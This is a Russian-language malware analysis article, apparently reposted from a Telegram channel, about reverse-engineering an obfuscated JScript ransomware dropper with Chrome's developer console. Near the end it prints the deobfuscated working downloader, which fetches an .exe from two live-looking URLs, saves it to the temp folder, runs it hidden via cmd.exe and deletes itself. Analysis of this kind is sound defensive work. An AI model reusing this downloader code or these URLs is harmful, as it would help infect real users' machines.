January 19, 2020

Вредонос на JS. Как Chrome помог мне реверсить вирус-шифровальщик

Источник: t.me/Bureau121

Содержание статьи

Прежде чем обратиться ко мне, приятель несколько раз попытался открыть файл из архива. По его словам, ничего не произошло. Но я все равно велел ему немедленно выключить компьютер и вытащить из него жесткий диск. Однако было слишком поздно.

Вирус уже успел зашифровать половину файлов на диске D и даже забрался в расшаренную папку. Часть файлов удалось восстановить с помощью инструментов для восстановления удаленных файлов, но по закону подлости самые важные файлы были утрачены. Дальше классика жанра: на рабочем столе появилась новая картинка, а также текстовый файл с требованием определенной суммы за расшифровку данных и контактами злоумышленника.

Позднее я решил разобраться с этим вирусом в песочнице (VirtualBox + Windows XP). В архиве я обнаружил файл JavaScript, точнее файл с расширением .js и содержимым, по синтаксису напоминающим JavaScript.

...
function yW() {
  var lN="";
  lN=lN+W(101)+W(5085/45-0)+W(54+56)+W(983-875)+W(1056/16+0)+W(32+71)+W(3456/36+0)+W(1045-932)+W(885-819)+W(10*11)+W(26+73)+W(823-723);
return lN;
}
function Gyh() {
  var eKt="";
  eKt=eKt;
  return eKt;
}
function Wb(Ea, Ki) {
  var kO = w(Ea);
  var YM = Szh();
  var Ofr = w(Ki);
  var laN = [To()][RkE()];
  while (YM < kO) {
    var hN = YM / ie();
    var cra = Ea[Hn()](YM);
    YM = YM + Efo();
    cra = cra + Ea[mO()](YM);
    YM = YM + Fi();
    var mM = Bie(cra, dkW());
    var WzA = Ki[CC()](hN % Ofr);
    var dCt = mM ^ WzA;
    var bHh = String[yW()](dCt);
      laN = laN + Gyh() + bHh;
  }
  return laN;
}
...

Неправильные пчелы

«Это неправильные пчелы! И JavaScript у них какой-то неправильный», — подумал я. К тому же путь от открытия файла .js до шифрования файлов, на первый взгляд, не прослеживался.

Есть в Windows такая вещь, как WSH — сервер сценариев Windows. Он используется для запуска сценариев, написанных на определенных скриптовых языках, в том числе и на JScript — такие скрипты имеют расширение .js.

INFO

JScript — сценарный язык программирования компании Microsoft, являющийся реализацией стандарта ECMAScript. Синтаксис JScript во многом аналогичен языку JavaScript компании Netscape, однако JScript может использоваться не только для добавления клиентских скриптов на веб-страницы, но и для автоматизации администрирования Windows. За выполнение таких скриптов отвечает компонент WScript — Windows Script Host. Помимо языка JScript, поддерживается VBScript, а также и некоторые другие дополнительно устанавливаемые языки (например, Perl).

Переменные в коде — случайный набор букв. Также мы знаем, что код содержит около ста функций, которые возвращают результат арифметических действий над константами, и около двадцати функций, которые тем или иным образом обрабатывают эти результаты. Некоторые функции аналогично работают со строковыми константами. Это говорит о том, что код хорошо обфусцирован.

Весь секрет заключается в функции eval(). Эта функция выполняет код, переданный ей в качестве строки, а возвращает значение, равное последнему выражению. Рассмотрим одну из функций нашего шифровальщика.

function W(svu) {
  var bHh = eval(Nx() + (svu+1) + uSk());
  return bHh;
}

Давай разберемся, что здесь происходит.

Функция Nx(), объявленная ранее, возвращает строку String.fromCharCode(, а uSK() возвращает закрывающую скобку. W() в качестве параметра принимает число, прибавляет единицу и возвращает eval("String.fromCharCode(" + (svu+1) + ")"). Берет число, прибавляет единицу и переводит в CHAR. Затем символы группируются в другие строки и подаются на вход функции eval(), но уже в другом месте.

Прибегаем к помощи Chrome

На изучение всех переменных и значений, которые эти переменные хранят, ушло бы очень много времени. Но код написан на языке, аналогичном JavaScript, и кое-что может упростить обфускацию. А именно — консоль разработчика в браузере Chrome послужит нам отличным средством отладки.

Chrome ругается на объект под названием ActiveXObject. Этот объект используется в Windows и позволяет создавать управляющие элементы ActiveX.

INFO

ActiveX — фреймворк для определения программных компонентов, пригодных к использованию из программ, написанных на разных языках программирования. Объекты ActiveXObject используются в приложениях для Windows, таких как Internet Explorer, Microsoft Office, Microsoft Visual Studio, Windows Media Player, и самой операционной системой.

Браузер не знает о таких прелестях Windows. ActiveXObject не был указан в коде в прямом виде, а значит, нельзя закомментировать использующий его код и запустить. Следовательно, нельзя и посмотреть, что вообще происходит. Но мы можем запустить отдельные функции и узнать, что они возвращают. К счастью, функции объявляются в том порядке, в котором они вызывались. Это позволяет рассматривать не каждую функцию в отдельности, а блоки из нескольких, при этом обращая внимание только на результат последней функции.

Результат всегда был постоянный, поэтому я решил, что его можно вписать вместо вызова последней функции, а сами функции удалить. Попутно я запускал отредактированный код на виртуальной машине и сравнивал с оригиналом, чтобы убедиться, что мои изменения не повлияли на результат.

Таким образом код сокращается в разы. Вот пример одной из таких цепочек. Функция xRy() в итоге возвращает String.from.

...
function RVt()
{ return GH + "g"+"."; }

function c()
{ return eval("String.fromCharCode(37+74)"); }

function G()
{ return "r"+c(); }

function LNe()
{ return qQ()+G();}

function xRy()
{ return RVt()+LNe()+"m"; }
...

На следующем шаге мне встретился уже известный нам ActiveXObject:

var we = eval("ActiveXObject");

Здесь создается переменная, вызывается функция eval(), которая возвращает объект ActiveXObject. Значит, мы можем удалить эту строку, а в местах, где используется эта переменная, использовать сам объект. Методы объектов тоже были обфусцированы. Каждое имя в зашифрованном виде было определено двумя строками, а для расшифровки вызывалась функция Wb().

function Wb(Ea, Ki) {
  var kO = w(Ea);
  var YM = Szh();
  var Ofr = w(Ki);
  var laN = [To()][RkE()];
  while (YM < kO) {
    var hN = YM / ie();
    var cra = Ea[Hn()](YM);
    YM = YM + Efo();
    cra = cra + Ea[mO()](YM);
    YM = YM + Fi();
    var mM = Bie(cra, dkW());
    var WzA = Ki[CC()](hN % Ofr);
    var dCt = mM ^ WzA;
    var bHh = String[yW()](dCt);
    laN = laN + Gyh() + bHh;
  }
  return laN;
}

Разбираться, как эта функция работает, необязательно. Ведь можно вызвать ее в браузере с нужными строками. Эта строка, к примеру, превращается в ScriptFullName:

Wb("350211334026350D0E253E290C20","facZ0RsxbIpHaEfKH0O88alv5fT70lEqyiHGesg20zxqoDXccZ356pUTXw6G1aUM0COgxBm")

Но как вызвать метод, имя которого хранится в строке? Автор зловреда знает такой прием.

var stream = new ActiveXObject("ADODB.Stream");
stream.["Open"]();
stream.["Type"] = 1;
stream.["Write"](XMLHTTP.ResponseBody);
stream.["Position"] = 0;

Еще один прием обфускации, который встречается в коде, — ложное ветвление. Это значит, что создается переменная, сравнивается сама с собой, а в блок else вставляется ненужный код. Такой трюк не мешает анализу кода, но замедляет его.

Шаг за шагом перед нами появляется исходный код зловреда. Для удобства я заменил названия некоторых переменных на понятные. Код представляет собой тело и одну функцию. Сначала объявляется массив строк, содержащий два адреса URL. Затем последовательно для каждого URL запускается функция download, которая пытается скачать файл по принятому URL, а затем запустить. Возвращает true, если выполнилась успешно.

function download(url) {
  var WShell = new ActiveXObject("Wscript.Shell");
  var fsObject = new ActiveXObject("Scripting.FileSystemObject");
  var XMLHTTP =  new ActiveXObject("MSXML2.XMLHTTP");
  XMLHTTP.open("GET", url, 0);  // Создаем синхронный запрос
  XMLHTTP.send(); // Отсылаем запрос
  if (XMLHTTP.Status == 200) { // Если запрос прошел успешно,
    var newFile = fsObject.GetSpecialFolder(2) + "\\ " + fsObject.GetTempName(); // получаем дескриптор для временного файла
    var stream = new ActiveXObject("ADODB.Stream");
    stream.Open();
    stream.Type = 1; // Единица означает бинарные данные
    stream.Write(XMLHTTP.ResponseBody);
    stream.Position = 0;
    if (stream.Size < 10)
      return false;
    stream.SaveToFile(newFile); // Сохраняем файл
    WShell.run("cmd.exe /c " + newFile, 0);  // Запускаем файл
    fsObject.deleteFile(WScript.ScriptFullName); // Удаляем
    return true;
  } else {
    return false;
  }
  return true;
}

// Тело
var urls = [];
urls[0] = "http://www.interlaan.com/5e01a65eb3758.exe";
urls[1] = "http://vaibhavastrogemology.com/old/5e01a65eb3758.exe";

var flag = false;
var i = 0;

while (!flag) {
  if (i > 1)
    break;
  flag = download(urls[i]);
  i++;
}

Итоги

Итак, я выяснил, что этот файл представляет собой лишь часть шифровальщика. Под видом документа он проникает на компьютер пользователя и загружает модуль, который и провернет всю грязную работу. В «Лаборатории Касперского» такие шифровальщики выделяют в отдельный класс Trojan-Downloader.JS.Agent и описывают так:

Обычно зловреды этого семейства представляют собой обфусцированный скрипт. Зловреды используют функционал ADODB.Stream, который позволяет им скачивать и запускать файлы DLL, EXE и PDF.

Что ж, на этом мое исследование заканчивается. Надеюсь, ты тоже почерпнул из него немного полезного опыта.

ПОДПИСАТЬСЯ - Бюро121